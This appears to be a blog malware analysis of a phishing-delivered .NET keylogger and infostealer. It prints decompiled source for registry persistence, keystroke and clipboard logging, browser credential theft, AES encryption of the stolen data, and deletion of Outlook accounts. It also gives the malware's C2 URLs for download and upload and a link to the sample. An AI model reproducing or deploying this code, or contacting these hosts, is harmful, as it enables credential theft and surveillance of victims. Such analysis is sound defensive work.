By

Today I got a mail containing a malware from [email protected]. The sender’s address is forged and this is kind of Email Spoofing. Email contains a description about malwares and encourages the receiver to install a file called Anti-Vir.rar.

File is hosted in: http://www.britishislesshoppe.com/mail/Anti-Vir.rar

Domain Name: BRITISHISLESSHOPPE.COM Registrar: WEBNAMES.CA INC. Whois Server: whois.webnames.ca Referral URL: http://www.webnames.ca Name Server: NS5.CANADAWEBSITESMARKETING.COM Name Server: NS6.CANADAWEBSITESMARKETING.COM Status: clientTransferProhibited Updated Date: 21-aug-2014 Creation Date: 27-oct-2003 Expiration Date: 27-oct-2014

You can get the sample here. Password: “infected”

The rar file contains an executable called setup.exe:

According to DiE, our file is Microsoft Cabinet file. It contains two files, one of them is the malware’s core executable and the other one is config file.

After execution MSSUP.exe and its config file will be copied to %appdata%\MSI93153, also it registers itself at windows startup.

The file is written in .net:

The main routine looks like this after decompilation:

private static void Main() { try { _selfPath = Path.GetDirectoryName(Assembly.GetEntryAssembly().Location); string message = ConfigurationManager.AppSettings["SQLiteURL"]; CUtils.OpenFakedocument(_selfPath); bool flag = false; List dotNetInstalledVersions = CUtils.GetDotNetInstalledVersions(); string path = CommonPath.MsupPath() + Path.DirectorySeparatorChar + "MS-SecurityUpdate-93153U.dll"; string str3 = CommonPath.MsupPath() + Path.DirectorySeparatorChar + "MSSUP.exe"; if (!File.Exists(str3)) { File.Copy(Assembly.GetEntryAssembly().Location, str3); File.Copy(Assembly.GetEntryAssembly().Location + ".config", str3 + ".config"); } Startup.SetStartup("BlackBerry", str3); Thread.Sleep(0x1388); flag = File.Exists(path); if (!(flag || !dotNetInstalledVersions.Contains("2"))) { CUtils.CopyMsup("2", path); flag = true; } if (!(flag || !dotNetInstalledVersions.Contains("4"))) { CUtils.CopyMsup("4", path); } string str4 = CommonPath.MsupPath(); string str5 = Path.Combine(str4, Resources.SqliteFileName); while (!File.Exists(str5)) { DownloadUpload.DownloadSqLite(str4); Thread.Sleep(int.Parse(Resources.ShortSleepTime)); } DownloadUpload.UploadFiles(); int keyLogLimitSize = int.Parse(Resources.KeyloggerLogLimitSize); new Thread(() => KeyLoggerProc(keyLogLimitSize)).Start(); Debug.Write(message); string str6 = Path.Combine(CommonPath.MsupPath(), "F.txt"); if (!File.Exists(str6)) { if (File.Exists(str5)) { SerializeModel dataToSerialize = NewSerializerModel(); dataToSerialize.MachineInfo = new MachineInfo().GetMachineInfo(); List list2 = new List(); if (File.Exists(Path.Combine(Environment.SystemDirectory, "msvcr100.dll"))) { list2.Add(new Chrome()); list2.Add(new Firefox()); list2.Add(new Opera()); } else { list2.Add(new Firefox()); list2.Add(new Opera()); } foreach (IBrowser browser in list2) { Debug.Write(browser.ToString()); dataToSerialize.BrowsersInfo.Add(browser.GetBrowserInfo()); } byte[] bytes = CUtils.EncryptBuffer(ModelSerializer.SerializeAndCompress(dataToSerialize), Resources.EncryptionKey); File.WriteAllBytes(Path.Combine(CommonPath.StoragePath(), Path.GetRandomFileName()), bytes); } File.WriteAllText(str6, string.Empty); Thread.Sleep(0x2710); PassReset.ResetOutlook(); } } catch (Exception exception) { Debug.Write(exception.Message); } }

By calling SetStartup() function at line 18, application registers itself in windows startup:

public static void SetStartup(string startupKeyName, string processPath) { RegistryKey currentUser = Registry.CurrentUser; try { RegistryKey key2 = currentUser.OpenSubKey(Base64.DecodeString(Resources.StartupKey), true); if (key2 != null) { key2.SetValue(startupKeyName, processPath); } } catch (Exception) { } finally { currentUser.Close(); } }

To get registry key address, application refers to its resources, which looks like this:

Here StartupKey is Base64 encoded of “SOFTWARE\Microsoft\Windows\CurrentVersion\Run” which reffers to startup at registry.

In line 21, malware gets .net framework version and according to that decides to copy one of its resources to %appdata%\MSI93153 and renames it to “MS-SecurityUpdate-93153U.dll”.

public static void CopyMsup(string dotNetVersion, string destnation) { try { string path = Path.Combine(CommonPath.MsupPath(), "MS-SecurityUpdate-93153U.dll"); string str2 = dotNetVersion; if (str2 != null) { if (!(str2 == "2")) { if (str2 == "4") { goto Label_0042; } } else { File.WriteAllBytes(path, Resources.UD2); } } return; Label_0042: File.WriteAllBytes(path, Resources.UD4); } catch (Exception) { } }

According to resources UD2 and UD4 Dynamic-Link Library files compiled for .Net Framework 2 and 4.

According to codes this DLL is responsible to send data and receive data, also it uses the config file as its settings:

private static void GetSettings() { string path = Path.Combine(UploadDownload.Common.Common.MsupPath(), Base64.DecodeString(Resources.Configfilename)); if (File.Exists(path)) { Debug.Write(path); ExeConfigurationFileMap fileMap = new ExeConfigurationFileMap { ExeConfigFilename = path }; System.Configuration.Configuration configuration = ConfigurationManager.OpenMappedExeConfiguration(fileMap, ConfigurationUserLevel.None); _sqLiteUrl = configuration.AppSettings.Settings["SQLiteURL"].Value; _postDataUrl = configuration.AppSettings.Settings["PostDataURL"].Value; Debug.Write(_sqLiteUrl); Debug.Write(_postDataUrl); } }

Here is the content of config file:

<?xml version="1.0" encoding="utf-8"?> <configuration> <configSections> <sectionGroup name="userSettings" type="System.Configuration.UserSettingsGroup, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089"> <section name="MSSUP.Properties.Settings" type="System.Configuration.ClientSettingsSection, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089" allowExeDefinition="MachineToLocalUser" requirePermission="false" /> </sectionGroup> </configSections> <startup> <supportedRuntime version="v2.0.50727"/> <supportedRuntime version="v4.0"/> <supportedRuntime version="v1.1.4322"/> <supportedRuntime version="v1.0.3705"/> </startup> <appSettings> <add key="SQLiteURL" value="h**p://88.150.239.***/key/sqlite3.dll" /> <add key="PostDataURL" value="h**p://88.150.239.***/key/index.php" /> </appSettings> <userSettings> <MSSUP.Properties.Settings> <setting name="HTTPHeaderName" serializeAs="String"> <value>Content-Type</value> </setting> <setting name="HTTPHeaderType" serializeAs="String"> <value>application/x-www-form-urlencoded</value> </setting> </MSSUP.Properties.Settings> </userSettings> </configuration>

In line 32 of main function application checks if sqlite3.dll exists in malware’s directory or not, if not, it calls DownloadSqLite() function. This function downloads dll using MS-SecurityUpdate-93153U.dll from http://88.150.239.***/key/sqlite3.dll.

public static bool DownloadSqLite(string sqlitepath) { string str = Path.Combine(sqlitepath, "MS-SecurityUpdate-93153U.dll"); string message = string.Format("{0} \"{1}\",{2}", Base64.DecodeString(Resources.RunDLL), str, Resources.RunExportDownloadSQL); Debug.WriteLine(message); WinExec(message, 1); return true; }

And finally application creates a thread for Keylogging in line 39:

private static void KeyLoggerProc(int sendSize) { _keyloggerTransferBufferEvent = new AutoResetEvent(false); Keylogger keylogger = new Keylogger(sendSize, _keyloggerTransferBufferEvent); while (true) { _keyloggerTransferBufferEvent.WaitOne(); string readBuffer = keylogger.ReadBuffer; SerializeModel dataToSerialize = new SerializeModel { MachineInfo = new SystemInfoSerilizeModel() }; dataToSerialize.MachineInfo.ComputerName = Environment.MachineName; dataToSerialize.MachineInfo.Username = Environment.UserName; if (!string.IsNullOrEmpty(readBuffer)) { dataToSerialize.Keylog = readBuffer; } byte[] bytetoEncrypt = ModelSerializer.SerializeAndCompress(dataToSerialize); if (bytetoEncrypt != null) { byte[] bytes = CUtils.EncryptBuffer(bytetoEncrypt, Resources.EncryptionKey); Console.WriteLine("Keylogged"); File.WriteAllBytes(Path.Combine(CommonPath.StoragePath(), Path.GetRandomFileName()), bytes); } } }

Here malware collects some information and then encrypts them by calling EncryptBuffer() function. Here is the main encryption routine which is AES in CBC mode:

public static byte[] EncodeBuffer(byte[] bytesToEncrypt, string key) { byte[] buffer3; if (bytesToEncrypt == null) { return null; } byte[] password = Encoding.UTF8.GetBytes(key); byte[] salt = new byte[] { 1, 3, 7, 8, 0, 1, 2, 1 }; using (MemoryStream stream = new MemoryStream()) { using (RijndaelManaged managed = new RijndaelManaged()) { managed.KeySize = 0x100; managed.BlockSize = 0x80; Rfc2898DeriveBytes bytes = new Rfc2898DeriveBytes(password, salt, 8); managed.Key = bytes.GetBytes(managed.KeySize / 8); managed.IV = bytes.GetBytes(managed.BlockSize / 8); managed.Mode = CipherMode.CBC; using (CryptoStream stream2 = new CryptoStream(stream, managed.CreateEncryptor(), CryptoStreamMode.Write)) { stream2.Write(bytesToEncrypt, 0, bytesToEncrypt.Length); stream2.Close(); } buffer3 = PublicOperation.StreamToArray(stream); } } return buffer3; }

According to resources encryption key is “BluePillIsRedOrBlack”.

Application uses windows native APIs to log pressed keyboard buttons in two functions:

private void timerKeyMine_Elapsed(object sender, EventArgs e) { string str; string str2; GetWindowProcessName(out str2, out str); foreach (int num in Enum.GetValues(typeof(Keys))) { if (NativeMethods.GetAsyncKeyState(num) == -32767) { if (str2 != this._lastProcWindow) { this._keyBuffer = string.Format("{0}{1}NW:[{2} : {3}]{4}", new object[] { this._keyBuffer, Environment.NewLine, str, str2 + DateTime.Now.ToString(), Environment.NewLine }); this._lastProcWindow = str2; this._value += (str.Length + str2.Length) + 8; } switch (num) { case 0x11: this._ctrlKey = true; return; case 0xa2: return; } if (this._ctrlKey && (num == 0x56)) { string text = Clipboard.GetText(); if (!string.IsNullOrEmpty(text)) { this._keyBuffer = string.Format("{0}{1}CB:[{2}]{3}", new object[] { this._keyBuffer, Environment.NewLine, text, Environment.NewLine }); } this._ctrlKey = false; break; } this._ctrlKey = false; this._keyBuffer = this._keyBuffer + this.GetWideCharFromVirtualKey((uint) num); } } }

public string GetWideCharFromVirtualKey(uint key) { uint num; byte[] lpKeyState = new byte[0xff]; if (Control.IsKeyLocked(Keys.Capital)) { lpKeyState[20] = 1; } else { lpKeyState[20] = 0; } if (!NativeMethods.GetKeyboardState(lpKeyState)) { return null; } uint keyboardLayout = NativeMethods.GetKeyboardLayout(NativeMethods.GetWindowThreadProcessId(NativeMethods.GetForegroundWindow(), out num)); if (keyboardLayout <= 0) { return null; } StringBuilder pwszBuff = new StringBuilder(5); if (keyboardLayout > 0) { NativeMethods.ToUnicodeEx(key, NativeMethods.MapVirtualKey(key, 0), lpKeyState, pwszBuff, pwszBuff.Capacity, 0, keyboardLayout); } else { NativeMethods.ToUnicode(key, NativeMethods.MapVirtualKey(key, 0), lpKeyState, pwszBuff, pwszBuff.Capacity, 0); } return pwszBuff.ToString(); }

In the line 49 of main routine, application calls some functions to steal browser data, including cookies, saved username and passwords,…

And finally application deletes outlook and other microsoft application data, by doing this, it forces user to re-enter his/her information, so malware can steal these information too:

public static void ResetOutlook() { string[] strArray = new string[] { @"Software\Microsoft\Office\15.0\Outlook\", @"Software\Microsoft\Internet Account Manager\", @"Software\Microsoft\Office\Outlook\OMI Account Manager\", @"Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\", @"Software\Microsoft\Windows Messaging Subsystem\" }; RegistryKey currentUser = Registry.CurrentUser; try { Process[] processesByName = Process.GetProcessesByName("Outlook"); foreach (Process process in processesByName) { process.Kill(); OnKillProcess(); } RegistryKey key2 = currentUser.OpenSubKey(strArray[0], true); if (key2 != null) { key2.DeleteSubKeyTree("Profiles"); key2.CreateSubKey("Profiles"); } key2 = currentUser.OpenSubKey(strArray[1], true); if (key2 != null) { key2.DeleteSubKeyTree("Accounts"); key2.CreateSubKey("Accounts"); } key2 = currentUser.OpenSubKey(strArray[2], true); if (key2 != null) { key2.DeleteSubKeyTree("Accounts"); key2.CreateSubKey("Accounts"); } key2 = currentUser.OpenSubKey(strArray[3], true); if (key2 != null) { key2.DeleteSubKeyTree("Profiles"); key2.CreateSubKey("Profiles"); } key2 = currentUser.OpenSubKey(strArray[4], true); if (key2 != null) { key2.DeleteSubKeyTree("Profiles"); key2.CreateSubKey("Profiles"); } } finally { currentUser.Close(); } }

After collecting data, application sends it to 88.150.239.***/key/index.php by POST request. index.php has two parameters dir and data. Here dir parameter is null, and data contains stolen encrypted data.

To get some information about server, I played with parameters and got this (XAMPP????):

Notice: Undefined index: dir in C:\xampp\htdocs\key\index.php on line 11

Notice: Undefined index: data in C:\xampp\htdocs\key\index.php on line 58

no

Also some details about destination:

I have also uploaded extracted files here.

Greetz fly out to all UIC members, my best friend who is my wife also, and you for reading this article.

G4RU